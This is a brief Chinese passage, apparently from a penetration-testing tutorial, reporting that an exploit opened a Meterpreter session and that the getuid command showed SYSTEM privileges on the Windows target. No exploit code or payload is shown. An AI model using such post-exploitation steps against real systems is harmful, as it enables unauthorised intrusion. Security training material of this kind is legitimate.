如下所示,渗透成功,终端显示 Meterpreter session 1 opened (攻击机IP:端口 -> 目标IP:端口)。

输入getuid如下所示获取到当前账户为Server username: NT AUTHORITY\SYSTEM。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐